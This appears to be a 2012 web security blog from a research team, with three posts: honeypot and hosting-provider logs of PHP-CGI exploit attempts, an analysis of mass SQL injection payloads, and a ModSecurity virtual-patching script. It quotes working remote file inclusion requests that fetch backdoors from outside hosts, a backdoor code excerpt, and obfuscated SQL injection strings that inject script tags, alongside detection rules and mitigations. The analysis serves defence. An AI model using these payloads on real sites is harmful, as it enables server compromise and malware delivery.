Web Security Blog
[Honeypot Alert] (UPDATE) Active Exploit Attempts for PHP-CGI Vuln
UPDATE - we have received more exploit attempt details from web hosting provider DreamHost. Thanks goes to Robert Rowley for data sharing. Details below.
As you may have heard, some security researchers recently released information outlining a long standing vulnerability within the PHP-CGI code. The short of it is that remote attackers may be able to pass command line arguments in a query_string that will be passed directly to the PHP-CGI program. Ouch...
Exploit AttemptsOur web honeypots caught the following exploit attempts today:
37.112.127.136 - - [07/May/2012:02:36:11 +0400] "GET /?-s+%3d HTTP/1.1" 200 38 "-" "-"37.112.127.136 - - [07/May/2012:02:36:12 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.1" 200 38 "-" "-"
91.210.189.171 - - [07/May/2012:04:46:12 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
94.242.199.77 - - [07/May/2012:05:01:17 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0" 200 753 "-" "-"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-s+%3d HTTP/1.0" 200 753 "-" "-"
Notice that while some of these are simply probes to see if the application might be vulnerable, there are also two RFI attempts to execute remote PHP code.
(UPDATE) DreamHost Exploit Attempt DetailsDreamHost security provided SpiderLabs Research team with ModSecurity alert logs related to PHP-CGI Exploit attempts. These logs provide a much wider view of attack scale as DreamHost hosts more than 1,000,000 domains. Here are some stats:
- Number of PHP-CGI Exploit Attempts: 234,076
- Number of unique domains targeted: 151,275
Here are the top 10 attack vectors seen (with the # of attacks shown in the first column:
198489 'GET /index.php?-s'7837 'GET /blog/index.php?-s'
6078 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
2075 'GET /index.php?-s/wp-admin/install.php'
1790 'GET /wordpress/index.php?-s'
1605 'GET /wp/index.php?-s'
862 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
670 'GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
534 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
422 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'
Goal - Webshells/Backdoors
One of the major goals of these attacks are to try and download/install webshells and backdoors. Let's look at one example shown above:
GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2FiThe remote RFI file is a PHP backdoor program. One of the more interesting aspects of this code is the following section of code where the attacker wants to prevent others from exploiting the same vulnerability:
if($backdoored > 0) { echo chr(10)."{$backdoored} BACKDOOR_INSTALLED".chr(10); $htaccess = getcwd() . "/.htaccess"; $htaccess_body = @file_get_contents($htaccess); $fp = fopen(".htaccess", "w+"); if($fp) { fwrite($fp, '<IfModule mod_rewrite.c>'.chr(10). 'RewriteEngine On'.chr(10). 'RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]'.chr(10). 'RewriteRule ^(.*) $1? [L]'.chr(10). '</IfModule>'. str_repeat(chr(10), 5). $htaccess_body ); fclose($fp); } else { echo ".htaccess bugfix error!" . chr(10); } }The highlighted mod_rewrite rules will be added to .htaccess files as a crude method of patching the PHP-CGI vuln to prevent someone else from exploiting the same issue. The RewriteCond line will inspect the query_string to see if it starts with the dash character (-) and is not followed by the equal sign character (=). If this is true, meaning someone is attempting to exploit the vuln, then the final RewriteRule will capture the full REQUEST_URI will then add a question mark character (?) to the end and instruct mod_rewrite to treat the request as a symlink ([L]). Using mod_rewrite in this way should cause future attack to fail.
MitigationsDue to the fact that attackers are actively probing for this vulnerability combined with PHP code fixes that may not be complete, you should consider deploying some security filters in the interim. There have been public posts outlining possible filters using mod_rewrite such as the following:
RewriteEngine on RewriteCond %{QUERY_STRING} ^[^=]*$ RewriteCond %{QUERY_STRING} %2d|\- [NC] RewriteRule .? - [F,L]This roughly translates to: if the query_string does not have an equal sign (=) and it does have a dash (-) then issue a Forbidden response. The problem with this filter is that it would not catch the RFI examples we captured with the web honeypots as they have an = sign when declaring the PHP "auto_prepend_file" function.
Trustwave SpiderLabs has developed the following ModSecurity rule that will catch all currently known exploit attempts:
SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"This rule will check for the four most common PHP command line arguments coming directly after the question mark (?) character to start the query_string. It will apply a URL decode and remove whitespace characters.
Recent Mass SQL Injection Payload Analysis
There have been a number of mass SQL Injection campaigns targeting ASP/ASP.Net/MS-SQL sites over the past few months. While there have been a number of stories, sites and blogs that analyze the the injected JS script tags into the infected sites and their subsequent redirections to browser exploit kits such as Nuclear, Blackhole or Phoenix, what has been severely lacking is any details about how these web sites were initially infected.
Mass SQL Injection PayloadsSpiderLabs Research has obtained the following attack payloads that recently targeted a Microsoft IIS web server (ASP/ASP.Net/CFM/MS-SQL).
21+update+Categories+set+Category_Title=cast(Category_Title+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(104)%2Bchar(103)%2Bchar(98)%2Bchar(121)%2Bchar(106)%2Bchar(117)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 21+update+Categories+set+Category_Title=REPLACE(cast(Category_Title+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(104)%2Bchar(110)%2Bchar(106)%2Bchar(104)%2Bchar(107)%2Bchar(109)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 21+update+Categories+set+Category_Title=REPLACE(cast(Category_Title+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(110)%2Bchar(105)%2Bchar(107)%2Bchar(106)%2Bchar(106)%2Bchar(117)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 21+update+Content+set+Content_Title=cast(Content_Title+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(104)%2Bchar(103)%2Bchar(98)%2Bchar(121)%2Bchar(106)%2Bchar(117)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 21+update+Content+set+Content_Title=REPLACE(cast(Content_Title+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(104)%2Bchar(110)%2Bchar(106)%2Bchar(104)%2Bchar(107)%2Bchar(109)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 21+update+Content+set+Content_Title=REPLACE(cast(Content_Title+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(110)%2Bchar(105)%2Bchar(107)%2Bchar(106)%2Bchar(106)%2Bchar(117)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 21+update+Homepage+set+Homepage_Title=cast(Homepage_Title+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(104)%2Bchar(103)%2Bchar(98)%2Bchar(121)%2Bchar(106)%2Bchar(117)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 21+update+Homepage+set+Homepage_Title=REPLACE(cast(Homepage_Title+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(104)%2Bchar(110)%2Bchar(106)%2Bchar(104)%2Bchar(107)%2Bchar(109)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 21+update+Homepage+set+Homepage_Title=REPLACE(cast(Homepage_Title+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(110)%2Bchar(105)%2Bchar(107)%2Bchar(106)%2Bchar(106)%2Bchar(117)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--These attacks attempted to modify various title data (Categories, Content and Homepage) in the hopes of injecting JS pointers to offsite content. The payloads are obscured by use of the char() function and use cast() to modify or REPLACE content. If we decoded the char() data to normal ASCII text we get the following data:
These web servers are still active however the r.php scripts are now removed. These were either redirectors to other active exploit kits or the exploit kits themselves.
Mitigation Options Positive Security Input ValidationThe web application should be validating client input against a postive security model that only allows data that meets expected criteria such as length limits, character sets and formats. In the cases of mass SQL Injection, the vast majority of attack vectors are parameters that are only supposed to be integers. It is very simple to only allow numeric characters for specified parameter payloads. We show how to do this with the OWASP ModSecurity Core Rule Set and its new learning/profiling rules using the Lua API.
Negative Security FilteringIf these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the OWASP ModSecurity Core Rule Set) then the back-end IIS/MS SQL application servers would have been protected against this attack. There are a number of different SQL Injection attack rules that are triggered when these payloads are sent against a site protected with ModSecurity and the CRS:
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:\\\\bvarchar\\\\b)" at ARGS:catID. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "390"] [id "959050"] [rev "2.2.3"] [msg "SQL Injection Attack"] [data "varchar"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"][Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:\\\\bcast\\\\b\\\\W*?\\\\()" at ARGS:catID. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "405"] [id "959006"] [rev "2.2.3"] [msg "SQL Injection Attack"] [data "cast("] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv ..." at ARGS:catID. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "496"] [id "959073"] [rev "2.2.3"] [msg "SQL Injection Attack"] [data "REPLACE("] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "\\\\W{4,}" at ARGS:catID. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "507"] [id "960024"] [rev "2.2.3"] [msg "SQL Character Anomaly Detection Alert - Repetative Non-Word Characters"] [data ")))--"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "([\\\\~\\\\!\\\\@\\\\#\\\\$\\\\%\\\\^\\\\&\\\\*\\\\(\\\\)\\\\-\\\\+\\\\=\\\\{\\\\}\\\\[\\\\]\\\\|\\\\:\\\\;\\"\\\\'\\\\\\xc2\\xb4\\\\\\xe2\\x80\\x99\\\\\\xe2\\x80\\x98\\\\`\\\\<\\\\>].*){4,}" at ARGS:catID. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "523"] [id "981173"] [rev "2.2.3"] [msg "Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded"] [data "-"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:(?:\\\\d(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)\\\\s+(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)\\\\s+\\\\d)|(?:^admin\\\\s*(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)|(\\\\/\\\\*)+(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)+\\\\s?(?:--|#|\\\\/\\\\*|{)?)|(?:(\\"|'| ..." at REQUEST_COOKIES_NAMES:acopendivids. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "533"] [id "981244"] [msg "Detects basic SQL authentication bypass attempts 1/3"] [data "div"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQLI"] [tag "WEB_ATTACK/ID"] [tag "WEB_ATTACK/LFI"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:(?:@.+=\\\\s*\\\\(\\\\s*select)|(?:\\\\d+\\\\s*x?or|div|like|between|and\\\\s*\\\\d+\\\\s*[\\\\-+])|(?:\\\\/\\\\w+;?\\\\s+(?:having|and|x?or|div|like|between|and|select)\\\\W)|(?:\\\\d\\\\s+group\\\\s+by.+\\\\()|(?:(?:;|#|--)\\\\s*(?:drop|alter))|(?:(?:;|#|--)\\\\s*(?:update|insert)\\\\s ..." at REQUEST_COOKIES_NAMES:acopendivids. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "539"] [id "981248"] [msg "Detects chained SQL injection attempts 1/2"] [data "div"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQLI"] [tag "WEB_ATTACK/ID"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:(?:\\\\)\\\\s*when\\\\s*\\\\d+\\\\s*then)|(?:(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)\\\\s*(?:#|--|{))|(?:\\\\/\\\\*!\\\\s?\\\\d+)|(?:ch(?:a)?r\\\\s*\\\\(\\\\s*\\\\d)|(?:(?:(n?and|x?x?or|div|like|between|and|not)\\\\s+|\\\\|\\\\||\\\\&\\\\&)\\\\s*\\\\w+\\\\())" at ARGS:catID. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "559"] [id "981240"] [msg "Detects MySQL comments, conditions and ch(a)r injections"] [data "char(8"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQLI"] [tag "WEB_ATTACK/ID"] [tag "WEB_ATTACK/LFI"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\d\\\\W]\\\\s+as\\\\s*[(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)\\\\w]+\\\\s*from)|(?:^[\\\\W\\\\d]+\\\\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename|truncate|load|alter|delete|update|insert|desc) ..." at ARGS:catID. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "571"] [id "981247"] [msg "Detects concatenated basic SQL injection and SQLLFI attempts"] [data "21 update"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQLI"] [tag "WEB_ATTACK/ID"] [tag "WEB_ATTACK/LFI"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Pattern match "(?i:(?:(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)\\\\s*\\\\*.+(?:x?or|div|like|between|and|id)\\\\W*(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)\\\\d)|(?:\\\\^(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98))|(?:^[\\\\w\\\\s(\\"|'|`|\\xc2\\xb4|\\xe2\\x80\\x99|\\xe2\\x80\\x98)-]+( ..." at REQUEST_COOKIES_NAMES:acopendivids. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "573"] [id "981243"] [msg "Detects classic SQL injection probings 2/2"] [data "div"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQLI"] [tag "WEB_ATTACK/ID"] [tag "WEB_ATTACK/LFI"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"]
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] File does not exist: /var/www/vulnerable.cfm
[Tue May 01 02:34:13 2012] [error] [client 192.168.168.1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_60_correlation.conf"] [line "37"] [id "981204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 103, SQLi=47, XSS=): 981243-Detects classic SQL injection probings 2/2"] [hostname "192.168.168.128"] [uri "/vulnerable.cfm"] [unique_id "T5@D5X8AAQEAACsGAqwAAAAB"] Parameterizing DB Queries
Web developers should make sure the SQL queries are sent to the database in a safe manner (which typically translates to using parameterized queries) so that the DB can distinguish between code and data. The OWASP SQL Injection Cheat Sheet is an excellent reference.
ModSecurity Advanced Topic of the Week: Automated Virtual Patching using OWASP Zed Attack Proxy
The SpiderLabs Research Team has added an example script to the OWASP ModSecurity Core Rule Set (CRS) Project archive that will help users to quickly implement virtual patches for vulnerabilities identified by an open source web vulnerability scanning tool. The example script (zap2modsec.pl) is located in the /util directory of the CRS archive in SVN and will auto-convert XML data from the OWASP Zed Attack Proxy (ZAP) vulnerabiltiy scannint tool into custom ModSecurity rules.
Thanks goes out to Psiinon for fixing who fixed the ticket I created which adds in the vulnerable parameter name to the XML report data.
While this example script can only currently process ZAP XML report data, the script could be adapted to process other DAST tools by updating the XML::Smart variables to handle different schemas. The script will parse the XML data from ZAP reports and will auto-create ModSecurity rules for the following attack/vulnerability categories:
- SQL Injection
- Cross-site Scripting
- Remote File Inclusion
- Local File Inclusion
- HTTP Response Splitting
Here is an example SQL Injection vulnerablity in the Acunetix AcuForum ASP Site as found by ZAP:
If we export the report data to XML format, here is how this vulnerabilitly looks:
<pluginid>40005</pluginid>
<alert>SQL Injection</alert>
<riskcode>3</riskcode>
<reliability>1</reliability>
<riskdesc>High (Suspicious)</riskdesc>
<desc>SQL injection is possible. User parameters submitted will be formulated into a SQL query for database processing. If the query is built by simple 'string concatenation', it is possible to modify the meaning of the query by carefully crafting the parameters. Depending on the access right and type of database used, tampered query can be used to retrieve sensitive information from the database or execute arbitrary code. MS SQL and PostGreSQL, which supports multiple statements, may be exploited if the database access right is more powerful.
This can occur in URL query strings, POST paramters or even cookies. Currently check on cookie is not supported by Paros. You should check SQL injection manually as well as some blind SQL injection areas cannot be discovered by this check.
</desc>
<uri>http://testasp.vulnweb.com/Search.asp?tfSearch='INJECTED_PARAM</uri>
<param>tfSearch</param>
<attack>'INJECTED_PARAM</attack>
<otherinfo>SQL</otherinfo>
<solution>Do not trust client side input even if there is client side validation. In general, If the input string is numeric, type check it.
If the application used JDBC, use PreparedStatement or CallableStatement with parameters passed by '?'
If the application used ASP, use ADO Command Objects with strong type checking and parameterized query.
If stored procedure or bind variables can be used, use it for parameter passing into query. Do not just concatenate string into query in the stored procedure!
Do not create dynamic SQL query by simple string concatentation.
Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg if the application require reading one table only, grant such access to the application. Avoid using 'sa' or 'db-owner'.
</solution>
<otherinfo>SQL
</otherinfo>
<reference>The OWASP guide at http://www.owasp.org/documentation/guide
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
For Oracle database, refer to http://www.integrigy.com/info/IntegrigyIntrotoSQLInjectionAttacks.pdf
</reference>
</alertitem>
The XML data highlighted can be parsed by the scripts to create a ModSecurity rule based on the injection point (URL + Parameter name) and vulnerability category.
Virtual Patching ChallengesThe true value of levaraging vulnerability scanner data is confirmation of a known attack vector location or injection point for a specific attack category (such as SQL Injection). Now that you know where a vulnerability exists, the question is how do you want to protect against it? Ideally, you should use a positive security model which will only allow the data types and lengths that you want. If that is not possible, then you can use a negative security approach and deny things that you consider bad. In the case of using DAST data, it becomes tricky if you want to use attack payloads used during the test. The reason is that oftentimes the payloads used during testing are inference-based and geared towards identify a vulnerability vs. actual malicious payloads used by attackers. Vulnerability scanning is used to identify if a vulnerability exists, not to identify all of the possible exploitation variations.
So how can we identify attacks attempting to exploit these vulnerable resources?
